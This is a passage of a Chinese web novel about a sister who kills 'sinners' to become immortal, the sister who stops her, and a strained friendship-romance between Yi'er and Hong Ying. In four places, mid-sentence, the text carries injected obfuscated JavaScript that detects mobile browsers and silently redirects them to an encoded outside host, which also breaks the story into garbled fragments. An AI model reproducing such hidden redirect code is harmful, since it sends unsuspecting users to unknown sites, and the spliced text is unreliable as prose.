行进间,身后传来急切的脚步声,似乎有人在赶路。临近他们时却突然停了,踩着跟他们差不多的伐子慢慢走着。 宜尔觉得奇怪,转过头正和那双龙眼般的眼睛对上。 柴刀横劈而来,宜尔惊慌失措中拉着术璞往后一躲,摔在地上。 女魔头面不改色又举刀欲来,却被一柄青光宝剑抵住。 原本柔美温和的姑娘身脊板正,目光坚毅,正是丰小。 “姐,停手吧!” 对面的女魔头一顿,宜尔也一顿。 女魔头将柴刀从上面拿起,持握掌中,丰小也收回剑,正要开口说话时,却见女魔头一个闪身绕过她,直逼正起身撤远的宜尔。 丰小不敢用剑,只能冲上去用双臂反架住女魔头。 女魔头也不挣扎,任她从背后抱着,她一直是一副平静的神情,说话声音也冷淡:“放开,我要度化这罪人。” “这姑娘怎会是罪人?姐,你莫要再造杀孽了!”丰小一时激动,眼盈热泪,近乎哽咽。 “见死不救,自然是罪。你年纪轻,看不透也是常事,姐姐不怪你,但不要来打扰姐姐。”她将柴刀往后一挥,利口直插进丰小背部,鲜血顿时大片濡开。 丰小失力,松开手,垂倒在地。 女魔头俯视她,“笑笑,你被世间的尘气污染了,但是别怕,等我——” “何人!?”男子粗犷的声音一喊,女魔头话被打断,她看了眼远处那群官兵,提刀跑开,几乎是几步就不见人影,消失在黑夜中。 两个年轻官兵疾奔追上去。 “丰姑娘?”宜尔跑到她身前,鲜红的血已经从背部淌至地面,和泥灰混在一起。 领着巡逻队的李嘉跑来,将丰小抱起,“我送她去医馆!” 宜尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559167|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向术璞:“公子你先回馆,我陪着去看一下!”说罢便快步追上去。 丰小伤得很重,但幸好没有危及性命。 她趴在床榻上,看着端来热水盆的宜尔。 “抱歉,害宜尔姑娘深陷危机,我原以为自己能护住你二人性命,没想到姐姐已不念旧情……” 宜尔还来不及答话,李嘉走进来,“醒了?” 丰小看他一眼。 李嘉从衣间拿出一张信纸,“丰笑,闭城南曲巷人,历代经营着一家布庄。姐姐丰乐,嫁给闭城木材商,数日前杀害丈夫,四处逃窜。你既然知道如何引你姐姐出来,为何之前传召时不答?” 丰笑面色苍白,气若游丝,可声音中仍有一种坚定:“姐姐虽恶事做尽,可终究是我血浓于水的挚亲,我不愿看她被斩首,原本决心自己来说服她,劝她改过自新,再带她隐居山林,终生不入凡世。” 宜尔将打湿的帕子拿来为她擦拭面容,“丰姑娘怎知道我二人一定能引出令姐?” 她闭着眼,“姐姐最讨厌冠玉馆的男人,尤其是身边带着女人的。” 李嘉叹气,“丰乐与那些人究竟有何仇怨?下手如此狠辣。” “姐姐她……想成仙。” 丰笑睁开眼,琥珀色的瞳孔中飘曳着烛光。 “人有五感,便有五苦,活在世上就是受苦。而那些有罪之人总是试图逃避苦难,加重无辜之人的苦,是以惩治有罪之人就是积德,德满则可飞升为仙。姐姐如此认为。” 李嘉听得云里雾里,“丰乐的丈夫可是出了名的大善人,疼爱妻子,孝顺父母,怎会也变有罪之人?” 丰笑愁容覆面,娓娓道来:“姐夫本在外谈生意,数日都未谈拢,为赶上给姐姐庆生,干脆放弃了。然而姐姐认为其草率从事,只顾自己,不顾为其忙上忙下的寻常工人,已犯下罪孽,需要净化。于是将其分尸,将尸首藏于家中梅树下,待他历经时间,转为梅木的一部分,变得清正纯洁。” 不说李嘉一头雾水,宜尔也甚是迷茫。 宜尔:“令姐的想法一直如此奇特么?” “自她得了不治之症后,便想做天工度外人,有个看山看水自由身。” 不受疾病苦,不受俗事扰。 李嘉:“那不就是不想死?” 丰笑抿住唇,滴下泪来。 宜尔拍拍李嘉,李嘉“唉”了一声,说自己出去走走,等下再回来。 宜尔心绪也很是复杂,她看向丰笑,“两位虽是姐妹,却大相径庭。” 丰笑苦笑,“我俩别的地方都不像,偏偏在同一个位置长了颗痣。是不是很神奇?” 宜尔点点头,她想了想,问道:“令姐为何讨厌冠玉馆的男人?” “我家小妹曾被冠玉馆的男人哄骗,从家里偷了不少银两。我想姐姐若要除恶,很可能会找冠玉馆的人下手,就来此蹲守。以防万一,金玉堂那里我也留了心。他们开得比你们晚,我便宿在那里。” 宜尔又想了想,观望着她的神情,“丰姑娘将来打算如何?” “我作为妹妹,有制止她的责任。” 11. 第 11 章 宜尔作为红璎的挚友,有替其寻觅良缘的责任。 比如说丰笑,她就十足满意。 勇毅无畏,且极富担当,虽然有些偏颇,可为了血亲也能理解,正是她重情重义的体现。还会剑术,温柔又强大,实在是个难得一见的好姑娘。 可红璎与她差距悬殊,该如何叫这姑娘瞧见他的好呢? 宜尔千思万想,计上心来。她回到冠玉馆,准备翌日就去找红璎商量。 她心中记挂着事,即使睡得晚也早早醒来。 醒是醒了,可脑袋有些缺觉的昏沉,她闭上眼,又睡不着,最后干脆爬起来。 红璎一般午时起床,眼下还有好几个时辰,宜尔便去提前打扫熏房,给晚间多些闲暇。 王馆主这段时日没找着杂役,倒是找着个愿意来洗院干活的。 莫大娘家住附近,一天可以来两三个时辰,做到秋收农忙时回乡。 宜尔原先午前干的活全都转交给了莫大娘。 至于午后,前堂最后一遍拖地擦桌由莺语负责,宜尔则回到洗院。若是莫大娘有没洗完的她就接着洗,然后老样子去收晾干的衣物,检查熏房……再将洗院清扫一番。 自莫大娘来后,时间上松络许多,宜尔渐渐习惯了做杂役,但不太喜欢。 宜尔不喜欢熬夜。 以往睡前她会看书,但如今回去倒头便睡,一觉睡到日上三竿,用过饭后又接着干活。 她失去了“清晨”。 宜尔喜欢清晨那种宁静的感觉,喜欢听鸟叫,喜欢发着呆做事,喜欢青色的雾轻轻飘在院子,微凉的风柔柔拂过肌肤。 而夜里太热闹,丝竹管弦之声,说笑逗闹之声……有时醉酒的客人拉着她,亲近也好,捉弄都罢,宜尔会有些不知所措,幸好莺语、刀鱼常常挺身而出,帮她许多。 但不喜欢是不喜欢,总是要适应的,宜尔也很擅长“适应”。 收拾好一切,宜尔辞别莫大娘,去找莺语。 莺语瞧见她来,露出奇怪的神情,“欸?宜尔,我还以为你去看望红璎了呢。” “为何?” “听说他生病了。” * 宜尔同莺语前往杏院。 杏院的主人韩有杏因打赌输给王乌,要在冠玉馆诊病三年,费用还只能折半收。 韩有杏只给男人看病,洗的衣裳又都是他的学徒来拿,所以宜尔只与他有过几面之缘。 据莺语所说,红璎病得很重,须得留在杏院看顾。 “说得那么夸张,”红璎躺在床榻,偏过头看向宜尔,语声低微,“只是肚子不大舒服,懒得走就躺这儿了。” 宜尔看着他发紫的唇和暗沉无色的脸,他额间冷汗涔涔,一副少气无力的模样。 莺语啧啧叹道:“都这副样子了,红璎你怎么倔起来了?难为情不成?” 红璎白她一眼,“我脸皮有那样薄?”瞥到宜尔眉间染愁,他又道:“生病也不赖,韩大夫说禁酒半月呢,我往后跟着你俩一道打杂如何?” “宜尔,那你可得把最苦最累的活都丢给他!” 宜尔笑笑,“红璎你等下午饭想吃什么?” 他突发奇想:“想吃饺子。” 莺语:“这个时节?话说你吃得下?” “唉,只是肚子痛,不是肚子不饿。”而且从昨夜到现在,他除了药什么也没吃。 宜尔起身,“那我去问问柴爷。” 莺语跟着宜尔一道出去,房间又只剩红璎一人。 腹中有一股灼热感,红璎侧过身半蜷起来,将手压在腹部,抵住阵阵绞痛,眼睛盯着门口。 宜尔怕他吹风受冷,走时将门带上了,红璎只能盯着紧闭的门扉看。 他头重如裹,半梦半醒,迷迷糊糊中时间流逝。门外响起脚步声,还有桌子板凳挪动的声音。 再过一会儿,又响起哒哒哒的剁肉声,凌厉干脆,一听就是功力深厚的厨子。 “韩大夫,你这香菇都没洗干净嘞。”是莺语的声音。 “能吃就行。” “韩大夫你真冷淡。” “要真冷淡还会让你们在我这儿借用厨房?” “说得像大夫你不吃似的。” “吃又如何,不吃又如何?你个小丫头片子也管我那么多?”韩有杏一直冷冷应她。 少年嘟囔:“师父和莺语姐光说不动。我都洗完葱了。” “这里还有。”是宜尔的声音。 红璎唇角微扬,整个人往外挪了些,静静地望着两扇门之间的细缝。 明明什么都看不见,却又像什么都看见了。 红璎想起了小时候。 很小很小的时候,也是这样,他躺着,义父絮絮说着。 红璎对自己的亲生爹娘已毫无印象,甚至也不记得义父是什么时候收养自己的。 从有记忆以来,他就和义父住在一个破败的小屋里。夏日狂风暴雨将窗户吹破了半块,义父一直没修,结果等到冬天,冷风吹得两个人瑟瑟发抖。 刚吹一天,红璎就受寒病倒了。整个人烫得像个火球,脑袋晕晕乎乎,又涨又疼,一度以为自己要病死了。 义父说他傻,说给他熬姜汤,喝了姜汤就会病愈。 然而义父似乎也不怎么会熬汤,他不知从哪儿整了一大把生姜,泡在水盆里,一边搓洗一边跟躺在床上的红璎说话。 “乖儿子,我跟你说啊,这姜,切成细丝炒起来味道可好了,拌点牛肉。你义父又年轻又帅的时候,只在一家山里的馆子吃过一回。就是那种……” 红璎没力气搭话,只乖乖听着。 那时他就想,如果真的要病死了,就这样听着义父的念叨,闻着他为自己煮的姜汤气息死去也很好。只要不是自己一个人孤零零地死去就很好。 眼前的场景与过往重合,红璎听着他们的说话声,恍惚间觉得一切像是一场梦境。 被王馆主收留是梦,做小倌是梦,连遇见宜尔也是梦……等这场大梦醒来,就又回到了那个又脏又小的屋子。 可他是醒着的。 腹部抽痛感淡去,红璎翻过身子,仰面向天。 他四肢酸懒,冷汗淋漓湿透了衣衫。他闭上眼,细细地听着门外几人闲谈。 “师父,你这都包破了。” “大人的事孩子少管。” “唉,想不到杏院里养的居然是只大刺猬,这么会扎人。” “柴爷,这盘快包完了。” “宜尔你手也太快了吧?我不允许。” “清和,你这饺子包这么瘦作甚?” “小孩的事大人少管。” “清和。” “回师父,因为这是一个饿了的饺子。” …… 红璎听着听着,不禁想,如果能在这样的情形中走到人生的尽头就好了。 亲朋好友在外欢声笑语,而他,就像只是在屋里睡着了一样,悄悄地离去。 * 宜尔端着盘饺子推开门,“红璎,吃饭了。” 她往里走去,只见红璎满头是汗,昏昏睡着。 一个身形高大、胡子飘飘的青年跟着她进来,“睡着了?” 宜尔扭回头,“嗯。没事吗?” 他检查了一番,“服过药,这样睡一觉好得快。走吧,他没这个口福,我们自己吃。” 床榻上的人眼睫颤动,缓缓睁开,“饺子热的才好吃。” 韩有杏轻哼一声,站起来,“那是自然。”踏步往外走去。 宜尔走上前,将饺子放在一旁,扶他坐起。 红璎这样睡过一觉后确实好了许多。他端着盘子夹起一块塞进嘴里,鲜美多汁。 “不愧是柴爷,连饺子也做得这样好吃。” 宜尔笑着点头认可。 今日这趟午饭吃得早,等收拾好一切仍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559168|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为时尚早。 宜尔、莺语同红璎在屋中闲叙,趁此时机,宜尔提出所想。 “红璎,之前不是说要寻个好姑娘么?我觉得丰小姑娘真的很适合。”她将丰小的真实身份和昨夜发生的事讲了一遍。 红璎倚靠着墙壁,只是静静地看着她。 莺语摸着下巴思索,“那布庄我听过,还蛮大的,那丰姑娘岂不是千金小姐?红璎这样的身份,会不会……” 她话说一半,红璎明她言外之意,他笑了一声,接道:“我岂不是癞蛤蟆想吃天鹅肉?” 宜尔摇摇头,身姿板正,“丰姑娘是很好,可我觉得红璎也很好。” 红璎笑意敛去。 宜尔不好意思看着他夸他,眼睛往下落些,“红璎风趣,为人体贴,在乎他人心情,总是默默助人。而且一直吃苦耐劳、颇为上进,只是出身差罢了。” 她抬回眼,看向红璎,“两个人若想要恩爱长久地走一生,出身、金钱……并非最为要紧的。我之所以觉得丰姑娘合适,是因为丰姑娘也是性情中人,她是一个愿为所爱之人竭尽全力的人,若她能喜欢上你,一定不会辜负你。就像你若是同她一起,也绝不会负她一样。至于丰笑会不会爱红璎,是丰笑的事,但男女情缘既需要缘,也需要勇气。若红璎你有意,我觉得不妨一试。” 红璎的眼中静静映着宜尔的身影。 莺语红了眼眶,她抱住宜尔,“我怎么就不是个男的呢?跟宜尔你在一起也太好了。我俩一定能做神仙眷侣。” 宜尔笑着拍开她,“你做我最好的朋友还不够?真贪心呐。” 莺语用脸蹭她,“我就是很贪心~红璎,宜尔说的没错,幸福是自己的事,你就试试呗,追不上咱再找就是。” 红璎收回眼神,盈出笑来,“那就宜尔看来,我该做些什么?” 宜尔:“我问过了,丰姑娘想同县衙的人一起将姐姐抓捕归案。红璎你跟我可以去请缨作饵。” “太危险了,我自己去便行。” “是啊!女魔头那样疯,万一真伤着你了……” 宜尔摇头,“丰乐上次说我是有罪之人,那想来度化我的可能是很高的。躲也躲不过,不如迎难而上。而且我也希望能助他们早日解决这件事。” 红璎和莺语都不说话了,宜尔总是有理有据的,他们都说不过她。 莺语看了眼屋外日头,“唉,我得去趟厢房,叶公子让我今日也早些去打扫,不能陪你们了。” “嗯,等我熬完水就去前堂。” “还早呢,不急,昨日也不怎么脏。”莺语推开门。 “等下见。”宜尔看着莺语出去了。 “什么水?”红璎问到。 “我在厨房给你熬了碗生姜蜜水,你喝了好受些。” 红璎没说话,他默默地滑躺下去,看着幕帘不知在想些什么。过了许久冒出句“多谢”来。 宜尔只当他现在身子不适,思绪混乱,没太在意,“你再睡睡吧,好了清和会来叫我的。” “嗯。” 宜尔看着红璎闭上了眼睛,自己也有些困倦。 她这两日太累了。 宜尔两肘叠起,趴在桌上,想小憩一下。 不过片刻,她的呼吸就变得平稳而缓慢。 红璎睁开眼。 他侧转过头,看向宜尔酣睡的面庞——她的五官老老实实地嵌在该在的位置,端正得同她这个人一样。只有那前深后浅的眉超出规矩,也同她偶尔的举动一样。 她个头不大,说起话做起事来却常常很有力量。 端详着,凝望着,红璎忽地笑了,眼睛中是一种静静含蓄的情意,还有一些隐微的思绪。 他转回头,闭上眼睡了。 红璎是个有耐心的人。这一次,他会更加小心,更加小心。 敞开的窗外,一抹白影翩跹而过,白蝴蝶般离去了,飞远了,或许也还会再飞回来。 12. 第 12 章 什么是仙? 餐霞饮露,不食人间烟火。 不堕轮回,不沾因果,笑看帝王将相化黄土,冷观红尘痴儿泣别离。 长生不老,无悲无喜,无忧无虑,这便是仙。 丰乐如今会饿,会老,会忧虑,但没关系,只再差几人,她便要成仙了。 有人曾问过她为何要成仙?真是怪哉,难道还有人不想成仙? 人人都想成仙,人人都做不成仙,可丰乐不同。她少时因缘曾被浮生观观主收为徒弟,修道多年,直至及笄才下山返家,嫁作人妇。 她是有仙缘的。 有缘就该把握。 “放过我吧!”被丰乐揪住衣襟的男人惊恐万分,“我怎会是罪人?我只是将东西卖得贵了点,没害人性命啊!只是小错!” “小错?”丰乐手起刀落,男人脖颈一道血口喷涌,溅了她一身,血从她下颌滑落。 小错才可怕。 人们总为自己寻诸多借口,是对方无礼我才说话难听,是时间仓促我才踩坏庄稼抄近道……最后将小错化为微错,微错再化为无错。明明一生犯下无数错孽,却能理直气壮地说自己从未犯错,从未害人。 害的人只要没死在他们面前,他们就永远不知自己犯过错。 小错比大错更该惩治。 丰乐将血淋淋的眼珠子捏在掌心中,在黑夜里无声前行。 她回到暂住的破庙,将眼珠埋在庙门口的梨树下。等到来年春天,梨花开,这罪恶的灵魂也就能与花同白了。 收整好一切,丰乐将自己洗净,换了套衣裳,在黑夜的街巷中行走。 无意识地乱走后,或许是过于厌恨,她又来到了冠玉馆后门对面的巷口。 门口冒出上次那见死不救的女子,她抱着个陶罐似要外出,然而环顾左右,迟迟不敢往外走。 馆中又走出一名花里胡哨的红衣男子,他接过陶罐,跨步走出。 丰乐轻步往前。 冠玉馆的每个男人,都是罪恶的。但是没关系,等丰乐度化他,来生他一定能投个好人家,受业于名师,习得一技之长,成为一个光明磊落、清清白白的男人。 丰乐向来一日只度化一人,此番临时起意,身上没带柴刀,但还有一把匕首,于她来说足矣。 她持着匕首,几步就要靠近男子后背,然而青光闪过,一柄长剑横拦。 丰乐往旁看去,丰笑面容失色,可眉目却凛然。 “姐,你执迷不悟,我也不能再纵容你了。” 丰乐很泰然,“若不想失去成仙的资格,莫同这些罪人一道来害我。” “就算成不了仙,也不该做魔。” 丰乐摇头,“看来笑笑也无仙缘。”她侧肘撞向丰笑手腕,试图打掉其剑,丰笑以左掌抵推,绕化其力。 丰乐顺势扭转半周,半身蹲下,一手向上按住其腕,一手向下将匕首插进其脚。 两人在道观修行的年数差不多,实力相差无几,然而丰笑面对亲姐姐总忍不住留情。 可如今已没有给她留情的时候了。 丰笑忍着痛踢起伤脚,匕把戳中丰乐胸口,另一侧则更深地扎进她脚中。 丰乐跌在地上,丰笑则撑地半蹲,拔出匕首,新伤叠旧伤,她脸色唰白,额上渗出虚汗。 红璎上前用双臂缚住丰乐。 “丰姑娘!”宜尔带着李嘉疾奔而来。 县衙人手不足,尤其是丰乐上次就被钓出来过一回,县太爷不相信她会再度上当,不愿浪费人力。 李嘉愿意相信他们,不仅在非值守的日子来蹲守,还给了几人青烟信。遇见女魔头时打开一丢,看到烟,李嘉会赶来。 红璎和宜尔一连试探数日,终于等到她。 丰乐两臂往上一撑,使力往侧倒,带着红璎在地上滚了起来。然而红璎不松手,两人在地上翻了数圈。 跑上前的李嘉吓了一瞬,还是伸手按住一双脚——正好是丰乐的脚,逼停二人。 宜尔膝盖一弯,将腿叩按在上,将丰乐压得死死。 丰乐不动了,李嘉赶紧趁此时机,上前要缚住其手,然而丰乐在李嘉靠近前、红璎稍离的刹那间扭身甩来一把土灰,李嘉和宜尔顿时眼痛难睁。 丰乐力道极大,她一肘击开已乏力的红璎,挣扎弹起,还将李嘉腰间佩剑顺走。 她拔剑出鞘,寒光粼粼。 红璎挡在揉眼睛的宜尔身前。 李嘉大喊:“别再挣扎了!其他人马即刻便至!” 丰笑站起身,提剑刺去,两人几番来回,都不曾落入下风。 打斗间,李嘉所说的人马果然赶来了。 丰乐剑上收力,丰笑也下意识松了几分,没成想下一瞬又是一挑,青光宝剑哐当落地。 可官兵已要相围,丰乐逃无可逃。 “与其在囚中等死,不如自己了断。”丰乐说罢便一割喉头,血涌如注。 正如她对其他人那般,她对自己下手也如此利落。 丰笑揽住她颓软的身躯,“姐!”泪水溢出眼眶,“你究竟是何苦?” “要、要入轮回了。”丰乐口中也呕渗出大量血来。 丰笑单手捧着她的脸,哽咽道:“姐,答应我,来生好好做人好不好?” 丰乐觉得可笑,可是她再也笑不出来了,因为她已经是个死人了。 一旁观望的宜尔惋叹。 浑身灰土的红璎站起来,眼前还有些发晕,宜尔搀住他。 官兵将丰乐的尸首收走,闭城骇人听闻的女魔头就这样落下帷幕。 待三人从县衙离开,夜已更深。 宜尔看着走在下方石阶的丰笑,思索后快步跟上。 红璎就望着她这样往下跑。 虽说如今这个时机不是很恰当,可早打探早安心,也得找个由头将人留下。 宜尔旁敲侧击:“丰姑娘大义凛然,剑术高超,也不知将来谁有这样的好福气得你青睐。” 丰笑疲累地回以一笑,“我们道门清修,不谈情爱。” “道门?” “嗯,我多年前便拜入青松真人门下。此番也是为了姐姐才下山的。” “是个尼姑啊?”冠玉馆歇业后一直等在后门的莺语一听,捂头一叹。 宜尔纠正她:“是道姑。” 莺语又叹,“有什么区别?反正她此生不嫁了。唉,白忙活,你俩还搞得这么狼狈。” 她看着眼睛通红的宜尔和满身尘土、头发乱糟糟的红璎。 红璎两手一拂衣袖,笑了,“若是追每个姑娘都要如此,我怕是还没脱离苦海就要殒身了。” 宜尔:“可只要追到了就是一生。” “就是,红璎你想幸福就不能畏难偷懒。” “是,谨遵二位姑娘教诲。”他弯身作礼,逗笑二人。 折腾一番,腹中空空。 莺语去厨房热面,红璎和宜尔则回去先换衣裳。 红璎陪着宜尔先回院子,她那扇破旧的门上夹了封信。 宜尔取下来,信封上写着“宜尔收”三字。 她将纸展开。 【宜尔大义,璧也该有所回敬。红璎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559169|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意图诱尔成妻,赎买自身,实在难为良配,万望深思】 偌大的纸上,字写得很大,本不打算看的红璎一眼便瞥到了。 风将纸页吹动。 “逐璧真是,想出这种法子离间我二人。”宜尔无奈地叹了一声,转过头却见红璎面色沉重。 宜尔眼皮一跳,不安萦上心头,她攥着信纸,“怎么了?” 红璎望着她,若是往常,他遇见这种无端之事定会讲句玩笑话,然而他没有。 他眼神闪烁,似在犹豫。 宜尔几乎是在发觉他犹豫的一瞬确认,逐璧说的是真的。 “你喜欢我?” 红璎提了口气,嘴唇张了又合,仍然不答。 宜尔心头一落,“你不喜欢我,却想要诱我赎你出去?” 红璎真的不知该不该答。他不想对宜尔说谎,可若是承认,会毁了二人关系。因为宜尔一定从未想过要同他在一起。 确实如此。 他们认识的时间还很短暂,宜尔对红璎有亲近,有感激,就是没有恋慕。 宜尔和莺语总是说笑,可她一直知道,自己不想随随便便嫁人,她一定要嫁个自己真心相爱的人。 一生实在是太长了,数十年光阴面对一个不爱自己的人,如何能熬得下去? 宜尔沉着眉目,第一次质问红璎:“不是说将我当挚友么?你怎能如此?你!”她想骂骂不出口。 红璎心乱如麻,却又有种早知如此的哀凉。 他低下眼,“我知道,我配不上你。”这段时日他愈渐明了。 “不是配不配得上的事,你想要利用我,让自己自由,却不告诉我。你觉得我的感情可以操控,我替你想东想西,忙前忙后,担忧你,你却有着别的心思。”宜尔越说越有些忍不住怒意,可她也不想在最气愤时肆意地发泄情绪。 “我现在不想同你说什么,你不要跟我说话。”宜尔进屋,直接将门关上。 红璎站在原地,看着门。 宜尔和红璎都没回来,莺语一个人莫名其妙地吃了三碗面,撑得胃痛。 翌日午间见宜尔来找,她赶紧上前去问,“你俩咋回事?回去换衣裳,困睡着了?” 两个朋友之间的争执,不该告诉第三个朋友,尤其是此时她还很混沌、还没想清楚的时候。 她不想只是向莺语抱怨红璎。 宜尔摇摇头,“没事,今日就我们二人吃饭吧。” “不带红璎了?你们吵架了?”她担忧地皱起眉头。 “别担心。昨夜我确实和他发生了争执,但我要好好思索一下,等我想清楚了我再同你说。” 莺语点点头,“以你的脾性,你别太为难自己就好。要是真的受委屈了,别太为红璎着想,我替你悄悄去给他酒里倒辣椒。” 宜尔心口闷结的气消散一些,“莺语你当真懂我。” “这么多年磨合下来的嘛,刚开始确实是不太懂你,还以为你不大喜欢同我说话,可后来相处越久,越觉得你真好,真可爱,不知不觉,感觉都要离不开你了。” 宜尔眼热,扯出笑来,“你不嫁人了?” “有时想想嫁人就要和你分别,是有些不想嫁了。要不我跟你一起待到给柴爷送终吧?然后再看着你嫁人,我最后走。” “不担心自己变老姑娘了?” 莺语轻哼一声,“我想明白了,像我这样的好姑娘,再老也有人要的。” 宜尔笑笑。 她和莺语还是和以前一样要好,她同红璎也是,和以前一样,会面时只点头,不再说话了。 13.第 13 章 其实在宜尔说以前红璎从不觉得自己妆浓。 因为少年入馆时他们都是那样摆弄他的脸,说这要遮,那要遮,他便一直以为这样才是对的,是适合他的。 所以随着年岁渐长,脸上斑点暗沉多了,他便下手更重,遮得更猛。他五官阴冷不讨喜,便将自己涂画得和善些。 平时总有人看着红璎笑,他以为对方觉得自己幽默风趣,宜尔说了以后他才渐渐明白,原来有人是因为他面容可笑。 所有人看他出糗,拿他取乐,只有宜尔会担心他离开此地后被人嘲弄,提醒一句。 红璎知道这不能称为爱,这是感动。就像他陪宜尔去偷玉,宜尔也很感动,可爱不能光靠感动。 说着“红璎也很好”的宜尔很好,但一切都结束了。 红璎既惆怅,又终于舒了一口气。 不用再骗她,宜尔也不用再为了伪善的自己奔波操劳。 红璎的生活还要继续,他还有自由要争取。 鸾歌凤舞在前,酒色财气在侧。 红璎将空杯倒满酒,递给浓妆艳抹的女人。 女人扁着嘴,“我昨日出去,街上有人拦着我求爱,我说我都四十好几了,他偏不信,非说我是十八的姑娘,叫人为难。” 方姑娘今年二十八,说起谎来面不改色。 红璎笑了笑,“方姑娘生得粉妆玉琢,十八都说大了。” 方姑娘托着下巴呵呵地笑,“对了,你饿不饿?” 红璎不饿,但方姑娘一定饿了,所以他答道:“饿惨了。” 方姑娘招招手,一个矮小的女子疾步赶来,语声平静柔和:“姑娘有何吩咐?” “来份冰雪冷元子和卤牛肉。” “是。”她退下,很快便端着东西回来了,将桌面收整出来一块地方,放好菜盘和碗便低首退下。 从头至尾,宜尔连眼神都不曾落在红璎身上片刻。 红璎还望着她的背影,方姑娘扑到他怀里撒娇,“等下看你吃我肯定会饿,你先喂我一口吧。” 红璎收回眼,他揽着方姑娘坐正些,“想先吃哪个?” 方姑娘肚子咕咕叫,但还是矜持得半垂下脸,“来块牛肉吧。” 红璎含笑夹了一筷子送进她嘴中,术璞正巧此时回来,方姑娘松开他,又猛扑进术璞怀里,毫无防备的术璞被撞得歪摔,碰到桌腿,桌子一晃,牛肉打翻在冷元子中。 方姑娘慌慌张张将术璞扶起。 比谁动作都快的宜尔窜上来,默默将盘碗抬正,擦拭桌面。 见她要将菜端下去,方姑娘制止,“没吃两口呢,丢了怪可惜。反正也没弄脏,你就放那儿吧。” 宜尔点首,她用筷子将冷元子碗中的牛肉片夹回去,整理好桌面后,退身下去。 咸牛肉同甜元子,因为一场意外突然相逢,如今又各归各地。 红璎微不可闻地叹了一声。 流光易逝,觥筹交错,三声散场箫音响起。 喝得醉醺醺的方姑娘将酒杯递给已经醉晕过去的术璞,术璞半晌没接,她转向红璎,“这最后满满一杯,莫浪费了呀,来~” 红璎笑着推开酒杯,“方姑娘忘了,我有病暂不能饮酒。” 方姑娘撅嘴,“那你找个人喝了吧,我最不喜欢浪费。” “我来吧。”宜尔从旁走来,拿过酒杯一饮而尽。 方姑娘晕乎乎的,摇摇晃晃,“好!很好!嗯……我困了,得回去睡觉了。”等候的小厮上前搀扶住她,带她离去。 红璎默不作声看着宜尔,没成想她突然扭过头来。 以往两个人总是红璎先说话,如今换成了宜尔,“我有话想同你说。” 红璎一怔,“嗯”了一声。 宜尔带着红璎往庭院走,她让红璎走在前,自己走在后。 月光从他们左肩落往地面。 “红璎你一早就看中了我?” 原来是想问他这些…… 红璎像是一个行刑前的犯人,心中忐忑等着脑袋落地,还要老实回应监斩官的提问。 “是。”他答道。 “你不直说,看着我为你四处寻觅良缘,是想骑驴找马?”宜尔又问。 “不,我只想要你。” 身后沉默了许久,没再问出第三个问题。 红璎续道:“当你将钱分给我时,我就想绝不能错过你,你是最适合的人。若是你,一定不会负我。你真诚实在,可以同我相伴一生。” 宜尔性子慢,所以他原本也想慢慢来。 “你气我想利用你离开这里?” “不是。其实你这样待我,和我鼓励你去追丰笑没什么太大区别。” 只是丰笑是宜尔选的,宜尔是红璎自己选的。 宜尔是希望他们两情相悦在一起,而红璎只想求一个结果。追丰笑也好,追宜尔也罢,他只想找个合适的人助自己脱离苦海。 要责怪这种“利用”吗?可里面也有真心。 身处苦海的人已经足够煎熬,又怎么忍心责怪他们逃离时姿态不美?他又没有害谁,也没有强迫谁。 宜尔看着红璎的背影。 这是一个少年时就做了小倌的人。 他不是一个完全善良、无私奉献的人。 他有很多小心思,他看中她的真诚老实,虽然不喜欢她,可却希望能和她白头到老。或者说,希望自己能陪他到老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15562244|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 红璎……真的是一个很怕孤单的人。 这个很怕孤单的人,一夜没睡替自己打扫,在她受伤时日日来送饭,怕她无聊又怕她伤眼,给她绘声绘色地念书,带自己跑了老远,来回折腾就为了出一口与他无关的恶气,丰乐脱逃时挡在她身前…… 他做这些有他的私心,可也是真心的。 他将等她爱他的秘密藏在那些轻浮说笑之下,偶尔也会落寞、忧愁…… 两人行至那棵合欢树下,夜幕中,花扇拢起,香气幽幽。 